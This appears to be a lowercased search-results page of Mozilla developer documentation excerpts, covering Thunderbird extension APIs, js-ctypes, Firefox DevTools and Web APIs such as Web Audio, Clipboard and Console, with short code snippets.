... } new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
... concurrentmethod() { nsautolock al(mlock); nsautomonitor am(mmonitor); if (needexpensivecomputation()) { nsautounlock au(mlock); } am.wait(); pr_notifycondvar(mcvar); } new usage using namespace mozilla; concurrentmethod() { mutexautolock al(mlock); monitorautoenter am(mmonitor); if (needexpensivecomputation()) { mutexautounlock au(mlock); } am.wait(); mcvar->notify(); } mozilla synchronization api reference the mozilla:: namespace exports the following synchronization primitives.
Creating a gloda message query
you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
...you may also see new messages show up if new messages are indexed that meet the constraints.
... let mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function mylistener_onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function mylistener_onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function mylistener_onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function mylistener_onquerycompleted(acollection) { } }; let collection = query.getcollection(mylistener); message attributes look at the pretty messages!
... the max number of messages which are returned is governed by a preference: "mailnews.database.global.search.msg.limit" although you can deal with the messages as they show up via the listener, the list of messages in the collection is available in collection.items.
Mail event system
for example, when a folder gets a new message, its total message count increases.
... sample control flow here is an example of a possible flow of control when a new message is added to a folder.
...leteormovemessages ondeleteormovemessages sample code in this example, a listener will be set up to be notified when the message count changes in a folder: // our variable to know if the listener fired var listenerhasfired = false; var totalmessageslistenerhasfired = false; // the listening function that will react to changes function myonintpropertychanged(item, property, oldvalue, newvalue) { listenerhasfired=true; var propertystring = property.getunicode(); dump("onintpropertychanged has fired with property + " + propertystring + "!\n"); if (propertystring == "totalmessages") { totalmessageslistenerhasfired=true; //now show us visually var folder = item.queryinterface(components.interfaces.nsimsgfolder); dump("the folder " + folder.prettynam...
...e + " now has " + newvalue + " messages."); } else if (propertystring == "testproperty") { dump("recieved integer test property fired on folder " + folder.prettyname + " with values " + oldvalue + " and " + newvalue + "\n"); } // set up the folder listener to point to the above function var folderlistener = { onitemadded: function(parent, item, viewstring) {}, onitemremoved: function(parent, item, viewstring) {}, onitempropertychanged: function(parent, item, viewstring) {}, onitemintpropertychanged: myonintpropertychanged, onitemboolpropertychanged: function(item, property, oldvalue, newvalue) {}, onitemunicharpropertychanged: function(item, property, oldvalue, newvalue) {}, onitempropertyflagchanged: function(item, property, oldflag, newflag) {}, ...
Thunderbird API documentation
see developer.thunderbird.net for newer information.
... general mail client architecture overview mail event system events new!
... account provisioner new!
... activity manager address book sync client design buddy icons in mail composition composition back end in mail cached compose window faq filelink providers new!
Thunderbird Configuration Files
to do add a new preference, open the context menu (right-click) on any existing preference, go to the new menu, and select the type of preference.
...now, go to your profile folder and select file > new > text document.
... the default name new text document.txt should be displayed.
...this will depend on which distribution you use), navigate to the profile folder, and right-click in some empty space on the right pane, then select new document > empty document.
Building a Thunderbird extension 5: XUL
see developer.thunderbird.net for newer information.
...we add widgets by inserting new xul dom elements into the application window and modify them using scripts and attaching event handlers.
... example xul overlay document create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myfirstext/content/overlay.js"/><!-- a reference to your javascript file --> <statusbar id="status-bar"> <statusbarpanel id="...
...in the example above we have defined a new <statusbarpanel> item (that can be referred to as my-panel) which will create a new instance of this widget type and add it at the end of the statusbar.
Demo Addon
see developer.thunderbird.net for newer information.
... to list some messages of the folder we use: for each (let msghdr in fixiterator(inbox.msgdatabase.enumeratemessages(), ci.nsimsgdbhdr)) { if (++i >= 10 && lastmsghdr != null) break; messages.push({ author: msghdr.mime2decodedauthor, subject: msghdr.mime2decodedsubject, date: new date(msghdr.date/1000), }); //...
... let query = gloda.newquery(gloda.noun_message); query.subjectmatches(searchterm); let mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function mylistener_onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function mylistener_onitemsmodified(aitems, acollection) { }, /* called when items that a...
... }; let collection = query.getcollection(mylistener); at first, a new gloda query for finding messages is created.
Activity Manager examples
// assuming that gjunkprocessor is the entity initiating the junk processing // activity, and it has cancelfolderop method that cancels the operations on folders process.init("processing folder: " + folder.prettiestname, gjunkprocessor); // folder is being filtered/processed process.addsubject(folder); process.cancelhandler = new canceljunkprocess(); ...
...rv = object->getasisupports(&ptr); if(ns_failed(rv)) return rv; nscomptr<nsimsgcopyservice> copyservice = do_queryinterface(ptr); if (copyservice) copyservice->undo(folder); } return (*result = ns_ok); } ///////////////////////////////////////////////////////////////////////////// //// creating an undoable copy event nscomptr<nsiactivityundohandler> undohandler = new mycopyeventundo(); nscomptr<nsiactivityevent> copyevent(do_createinstance("@mozilla.org/activity-event;1")); // the initiator of this particular event is copyservice.
...e helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("sender", new sendercontextdisplayhelper()); // step 3: create the process ...
... let process = new nsactprocess("processing folder: " + folder.prettiestname, gjunkprocessor); process.cancelhandler = new canceljunkprocess(); // folder is being filtered/processed process.addsubject(folder); process.contexttype = "sender"; // assuming msg is an instance of nsimsghdr process.contextobj = msg.author; ...
Standard OS Libraries
nents.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("user32.dll"); /* note: if you go to getcursorpos page on msdn, it says first argument is of structure point, so lets create that structure, * the link here shows that that x and y are type long which is ctypes.long */ // https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx var point = new ctypes.structtype("tagpoint", [ { "x": ctypes.long }, { "y": ctypes.long } ]); /* declare the signature of the function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporte...
....default_abi, ctypes.bool, display_ptr, window, window.ptr, window.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.unsigned_int.ptr ); let xclosedisplay = x11.declare("xclosedisplay", ctypes.default_abi, ctypes.int, display_ptr ); let display = xopendisplay(null); let rootwindow = xrootwindow(display, 0); let root = new window(); let child = new window(); let rootx = new ctypes.int(); let rooty = new ctypes.int(); let windowx = new ctypes.int(); let windowy = new ctypes.int(); let mask = new ctypes.unsigned_int(); xquerypointer(display, rootwindow, root.address(), child.address(), rootx.address(), rooty.address(), windowx.address(), windowy.address(), mask.address() ); xclosedis...
...ctypes.float : ctypes.double; // 64bit its double, in 32bit its float let cgpoint = new ctypes.structtype("cgpoint", [ { "x" : cgfloat }, { "y" : cgfloat } ]); let cgeventgetlocation = coregraphics.declare("cgeventgetlocation", ctypes.default_abi, cgpoint, cgeventref); let...
...ctypes.float : ctypes.double; // 64bit its double, in 32bit its float let nspoint = new ctypes.structtype("nspoint", [ { "x" : cgfloat }, { "y" : cgfloat } ]); // note: [nsevent mouselocation] returns nspoint struct, // which is small enough to return in register, // so we don't need to use objc_msgsend_stret.
Int64
syntax creates and returns a new 64-bit signed integer.
... int64 int64( value ); parameters value the value to assign the new 64-bit integer object.
... return value a new object representing the specified value.
... return value a new 64-bit integer object comprised of the two values merged together.
ctypes
for example, ctypes.char.array(30)(str) converts the string str to utf-8 and returns a new cdata object of array type.
... methods cast() casts the specified cdata object to a new type, returning a new cdata object representing the value in the new type.
... return value a new cdata object representing the same data, but with the specified type.
...pes.unsigned_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char}, {'breserved2': ctypes.unsigned_char}, {'breserved3': ctypes.unsigned_char}, {'breserved4': ctypes.unsigned_char}, {'breserved5': ctypes.unsigned_char}, {'breserved6': ctypes.unsigned_char}, {'dwdata': ctypes.uintptr_t}, {'istring': ctypes.intptr_t} ]); } else { throw new error("wut?!"); } console.log(struct_tbbutton.size); // 20 on 32-bit, 32 on 64-bit if i'm not mistaken there is another way to do this, we can use arraytype, but example for this i don't know at this time.
Plug-in Development Overview - Plugins
if you define a new mime type for a plug-in, you must register it with ietf (internet engineering task force).
... until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
... use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver the data of that url to the plug-in instance in a new stream.
...the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a new stream.
Debugger.Frame - Firefox Developer Tools
on newly created frames, this property’s value is undefined.
... when an onpop call reports the completion of a construction call (that is, a function called via the new operator), the completion value passed to the handler describes the value returned by the function body.
... if this value is not an object, it may be different from the value produced by the new expression, which will be the value of the frame’s this property.
...(in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents, and thebindings appear in a new declarative environment, which is the eval code’s lexicalenvironment.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, this call throws an error exception.
Dominators view - Firefox Developer Tools
the dominators view is new in firefox 46.
... starting in firefox 46, the memory tool includes a new view called the dominators view.
...it looks something like this: the dominators view consists of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining paths for a single node.
... retaining paths panel the retaining paths panel is new in firefox 47.
Migrating from Firebug - Firefox Developer Tools
in firebug you add new rules by right-clicking and choosing add rule...
...the devtools also have a context menu option for that named add new rule and additionally have a + button within the rules panel's toolbar to create new rules.
...scripts executed via event handlers, eval(), new function(), etc.).
...in addition to that it allows to create new style sheets and to import existing style sheets and apply them to the page.
Network request list - Firefox Developer Tools
each request is displayed in its own row: by default, the network monitor is cleared each time you navigate to a new page or reload the current page.
...this is new in firefox 55.
...this is new in firefox 55.
... open in new tab resends the request in a new tab — very useful for debugging asynchronous requests.
Style Editor - Firefox Developer Tools
the style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option from the "web developer" menu (which is a submenu in the "tools" menu on the mac).
... from firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.
... the media sidebar works especially well with responsive design view for creating and debugging responsive layouts: from firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the responsive design view: creating and importing style sheets you can create a new style sheet by clicking the new button in the toolbar.
... then you can just start entering css into the new editor and watch as the new styles are applied in real time just like changes to the other sheets.
Web Audio Editor - Firefox Developer Tools
if you have feedback or suggestions for new features, dev-developer-tools or twitter are great places to register them.
... connections to audioparams displaying connections to audioparams is new in firefox 34.
... if you click on a value in the node inspector you can modify it: press enter or tab and the new value takes effect immediately.
... bypassing nodes new in firefox 38.
The JavaScript input interpreter - Firefox Developer Tools
ocument.getelementbyid("frame1"); cd(frame.contentwindow); to switch the context back to the top-level window, call cd() with no arguments: cd(); for example, suppose we have a document that embeds an iframe: <!doctype html> <html> <head> <meta charset="utf-8"> </head> <body> <iframe id="frame1" src="static/frame/my-frame1.html"></iframe> </body> </html> the iframe defines a new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper comman...
... copy() new in firefox 38.
... clearhistory() new in firefox 39.
... :screenshot new in firefox 62.
AnalyserNode.getFloatFrequencyData() - Web APIs
syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new float32array(analyser.frequencybincount); // float32array should be the same length as the frequencybincount void analyser.getfloatfrequencydata(dataarray); // fill the float32array with data returned from getfloatfrequencydata() parameters array the float32array that the frequency domain data will be copied to.
... example const audioctx = new audiocontext(); const analyser = audioctx.createanalyser(); // float32array should be the same length as the frequencybincount const mydataarray = new float32array(analyser.frequencybincount); // fill the float32array with data returned from getfloatfrequencydata() analyser.getfloatfrequencydata(mydataarray); drawing a spectrum the following example shows basic usage of an audiocontext to connect a mediaelementaudiosourcenode to an analysernode.
... <!doctype html> <body> <script> const audioctx = new audiocontext(); //create audio source //here, we use an audio file, but this could also be e.g.
... microphone input const audioele = new audio(); audioele.src = 'my-audio.mp3';//insert file name here audioele.autoplay = true; audioele.preload = 'auto'; const audiosourcenode = audioctx.createmediaelementsource(audioele); //create analyser node const analysernode = audioctx.createanalyser(); analysernode.fftsize = 256; const bufferlength = analysernode.frequencybincount; const dataarray = new float32array(bufferlength); //set up audio node network audiosourcenode.connect(analysernode); analysernode.connect(audioctx.destination); //create 2d canvas const canvas = document.createelement('canvas'); canvas.style.position = 'absolute'; canvas.style.top = 0; canvas.style.left = 0; canvas.width = window.innerwidth; canvas.height = window.innerheight; document.body.appendchild(canvas); const can...
Animation.startTime - Web APIs
syntax var animationstartedwhen = animation.starttime; animation.starttime = newstarttime; value a floating-point number representing the current time in milliseconds, or null if no time is set.
... examples in the running on web animations api example, the we can sync all new animated cats by giving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes new cats.
... */ function addcat(){ var newcat = document.createelement("div"); newcat.classlist.add("cat"); return newcat; } /* this is the function that adds a cat to the waapi column */ function animatenewcatwithwaapi() { // make a new cat var newcat = addcat(); // animate said cat with the waapi's "animate" function var newanimationplayer = newcat.animate(keyframes, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; // add the cat to the pile.
... waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get rounded depending on browser settings.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
the audiobuffersourcenode() constructor creates a new audiobuffersourcenode object instance.
... syntax var audiobuffersourcenode = new audiobuffersourcenode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
...if the loop is dynamically modified during playback, the new value will take effect on the next processing block of audio.
... return value a new audiobuffersourcenode object instance.
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio from which can then be played and manipulated.
... syntax var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); parameters mymediaelement an htmlmediaelement object that you want to feed into an audio processing graph to manipulate.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a gain node var gainnode ...
...= audioctx.creategain(); // create variables to store mouse pointer y coordinate // and height of screen var cury; var height = window.innerheight; // get new mouse pointer coordinates when mouse is moved // then set new gain value document.onmousemove = updatepage; function updatepage(e) { cury = (window.event) ?
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated.
... return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream.
...ole.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the...
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
AudioContext - Web APIs
it's recommended to create one audiocontext and reuse it instead of initializing a new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently.
...ct x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audiocontext() creates and returns a new audiocontext object.
... audiocontext.getoutputtimestamp() returns a new audiotimestamp object containing two audio timestamp values relating to the current audio context.
... examples basic audio context declaration: var audioctx = new audiocontext(); cross browser variant: var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); var finish = audioctx.destination; // etc.
AudioListener - Web APIs
in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
... if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties.
... // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); var zpos = 295; // define other variables var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.panningmodel = 'hrtf'; panner.distancemodel = 'inverse'; panner.refdistance = 1; panner.maxdistance = 10000; panner.rollofffactor = 1; panner.coneinnerangle = 360; panner.coneouterangle = 0; panner.coneoutergain = 0; if(panner.orientationx) { panner.orientationx.setvalueattime(1, audioctx.currenttime); panner.orientationy.setvalueattime(0, audioctx.currenttime); panner.orientationz.setvalueattime(0, audioctx.current...
AudioParam.value - Web APIs
WebAPIAudioParamvalue
syntax var curvalue = audioparam.value; audioparam.value = newvalue; value a floating-point number indicating the parameter's value as of the current time.
... consider this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863.
... one solution is to use the math.fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
... const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); gainnode.gain.value = 0.4; //which is identical to: gainnode.gain.setvalueattime(0.4, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'value' in that specification.
AudioParam - Web APIs
the new value is given by the value parameter.
...the change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
...the change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var gainnode = audioctx.creategain(); gainnode.gain.value = 0; next, an example showing a dynamicscompressornode having some param values maniuplated.
AudioWorkletNode() - Web APIs
the audioworkletnode() constructor creates a new audioworkletnode object, which represents an audionode that uses a javascript function to perform custom audio processing.
... syntax var node = new audioworkletnode(context, name); var node = new audioworkletnode(context, name, options); parameters context the baseaudiocontext instance this node will be associated with.
... options optional an object based on the audioworkletnodeoptions dictionary, which contains zero or more optional properties to configure the new node.
... return value the newly constructed audioworkletnode instance.
AudioWorkletProcessor() - Web APIs
the audioworkletprocessor() constructor creates a new audioworkletprocessor object, which represents an underlying audio processing mechanism of an audioworkletnode.
... var processor = new audioworkletprocessor(options); parameters options an object that is passed as options parameter to audioworkletnode constructor and passed through the structured clone algorithm.
... return value the newly constructed audioworkletprocessor instance.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor', { processoroptions: { someusefulvariable: new map([[1, 'one'], [2, 'two']]) } }) the console output will be as follows: > 1 // audioworkletnode options.numberofinputs set to default > map(2) {1 => "one", 2 => "two"} // a cloned map under so...
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, which can then be populated by data, and played via an audiobuffersourcenode for more details about audio buffers, check out the audiobuffer reference page.
... examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
... var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer (one channel), that, when played back on an audiocontext running at 44100hz, will be automatically *resampled* to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames / 44100hz = 1 second.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < myarraybuffer.numberofchannels; channel++) { // this...
BroadcastChannel() - Web APIs
the broadcastchannel() constructor creates a new broadcastchannel and connects it to the underlying channel.
... syntax channel = new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin.
... example // create a new channel listening to the "internal_notification" channel.
... var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification.
CSSStyleDeclaration.setProperty() - Web APIs
the cssstyledeclaration.setproperty() method interface sets a new value for a property on a css style declaration object.
... value optional is a domstring containing the new property value.
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .control...
...)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + random(0,255) + ')'; } const stylesheet = document.stylesheets[1]; let boxpararule; for(let i = 0; i < stylesheet.cssrules.length; i++) { if(stylesheet.cssrules[i].selectortext === '.box p') { boxpararule = stylesheet.cssrules[i]; } } function setrandomborder() { const newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border', newborder); } function setrandombgcolor() { const newbgcolor = randomcolor(); boxpararule.style.setproperty('background-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', se...
CSSStyleSheet - Web APIs
insertrule() inserts a new rule at the specified position in the stylesheet, given the textual representation of the rule.
... addrule() adds a new rule to the stylesheet given the selector to which the style applies and the style block to apply to the matching elements.
...as the stylesheet list cannot be modified directly, there's no useful way to create a new cssstylesheet object manually (although constructable stylesheet objects is coming to the web platform soon and is already supported in blink).
... to create a new stylesheet, insert a <style> or <link> element into the document.
CSS Typed Object Model API - Web APIs
stylepropertymap.append() method that adds a new css declaration to the stylepropertymap with the given property and value.
... cssunparsedvalue.cssunparsedvalue() constructor creates a new cssunparsedvalue object which represents property values that reference custom properties.
... cssunparsedvalue.keys() method returning a new array iterator object that contains the keys for each index in the array.
... csskeywordvalue.csskeywordvalue() constructor constructor creates a new csskeywordvalue.csskeywordvalue() object which represents css keywords and other identifiers.
Compositing and clipping - Web APIs
globalcompositeoperation we can not only draw new shapes behind existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more.
... globalcompositeoperation = type this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compositing operations to use.
...the most important differences between the two are that clipping paths are never actually drawn to the canvas and the clipping path is never affected by adding new shapes.
...if we wanted to keep the original clipping path we could have saved the canvas state before creating the new one.
ChannelMergerNode() - Web APIs
the channelmergernode() constructor creates a new channelmergernode object instance.
... syntax var mynode = new channelmergernode(context, options); parameters context a baseaudiocontext representing the audio context you want the node to be associated with.
... return value a new channelmergernode object instance.
... example var ac = new audiocontext(); var options = { numberofinputs : 2 } var mymerger = new channelmergernode(ac, options); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
the channelsplitternode() constructor of the web audio api creates a new channelsplitternode object instance, representing a node that splits the input into a separate output for each of the source node's audio channels.
... syntax var splitter = new channelspitternode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new channelsplitternode object instance.
... example var ac = new audiocontext(); var options = { numberofoutputs : 2 } var mysplitter = new channelsplitternode(ac, options); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
Clients - Web APIs
WebAPIClients
clients.openwindow() opens a new browser window for a given url and returns a promise for the new windowclient.
... examples the following example shows an existing chat window or creates a new one when the user clicks a notification.
... addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await clients.matchall({ includeuncontrolled: true }); let chatclient; // let's see if we already have a chat window open: for (const client of allclients) { const url = new url(client.url); if (url.pathname == '/chat/') { // excellent, let's use it!
... client.focus(); chatclient = client; break; } } // if we didn't find an existing chat window, // open a new one: if (!chatclient) { chatclient = await clients.openwindow('/chat/'); } // message the client: chatclient.postmessage("new chat messages!"); }()); }); specifications specification status comment service workersthe definition of 'clients' in that specification.
ClipboardItem() - Web APIs
the clipboarditem() constructor of the clipboard api creates a new clipboarditem object which represents data to be stored or retrieved via the clipboard api, that is clipboard.write() and clipboard.read() respectively.
... syntax var clipboarditem = new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value.
... examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
Console.table() - Web APIs
WebAPIConsoletable
// an array of strings console.table(["apples", "oranges", "bananas"]); // an object whose properties are strings function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var me = new person("john", "smith"); console.table(me); collections of compound types if the elements in the array, or properties in the object, are themselves arrays or objects, then their elements or properties are enumerated in the row, one per column: // an array of arrays var people = [["john", "smith"], ["jane", "doe"], ["emily", "jones"]] console.table(people); // an array of objects functi...
...on person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new person("jane", "doe"); var emily = new person("emily", "jones"); console.table([john, jane, emily]); note that if the array contains objects, then the columns are labeled with the property name.
... // an object whose properties are objects var family = {}; family.mother = new person("jane", "smith"); family.father = new person("john", "smith"); family.daughter = new person("emily", "smith"); console.table(family); restricting the columns displayed by default, console.table() lists all elements in each row.
... you can use the optional columns parameter to select a subset of columns to display: // an array of objects, logging only firstname function person(firstname, lastname) { this.firstname = firstname; this.lastname = lastname; } var john = new person("john", "smith"); var jane = new person("jane", "doe"); var emily = new person("emily", "jones"); console.table([john, jane, emily], ["firstname"]); sorting columns you can sort the table by a particular column by clicking on that column's label.
console - Web APIs
WebAPIConsole
console.group() creates a new inline group, indenting all following output by another level.
... console.groupcollapsed() creates a new inline group, indenting all following output by another level.
...to create a new nested block, call console.group().
... the console.groupcollapsed() method is similar but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.
ContentIndexEvent() - Web APIs
the contentindexevent() constructor creates a new contentindexevent object whose type and other options are configured as specified.
... syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred.
... examples this examples constructs a new contentindexevent with the relevant id.
... var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
CustomEvent() - Web APIs
the customevent() constructor creates a new customevent.
... syntax event = new customevent(typearg, customeventinit); parameters typearg a domstring representing the name of the event.
... return value a new customevent object of the specified type, with any other properties configured according to the customeventinit dictionary (if one was provided).
... example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event var event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); additional examples can be found at creating and triggering events.
DOMMatrix - Web APIs
WebAPIDOMMatrix
constructor dommatrix() creates and returns a new dommatrix object.
... fromfloat32array() creates a new mutable dommatrix object given an array of single-precision (32-bit) floating-point values.
... fromfloat64array() creates a new mutable dommatrix object given an array of double-precision (64-bit) floating-point values.
... frommatrix() creates a new mutable dommatrix object given an existing matrix or a dommatrixinit dictionary which provides the values for its properties.
DOMMatrixReadOnly.flipX() - Web APIs
the flipx() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix flipped about the x-axis.
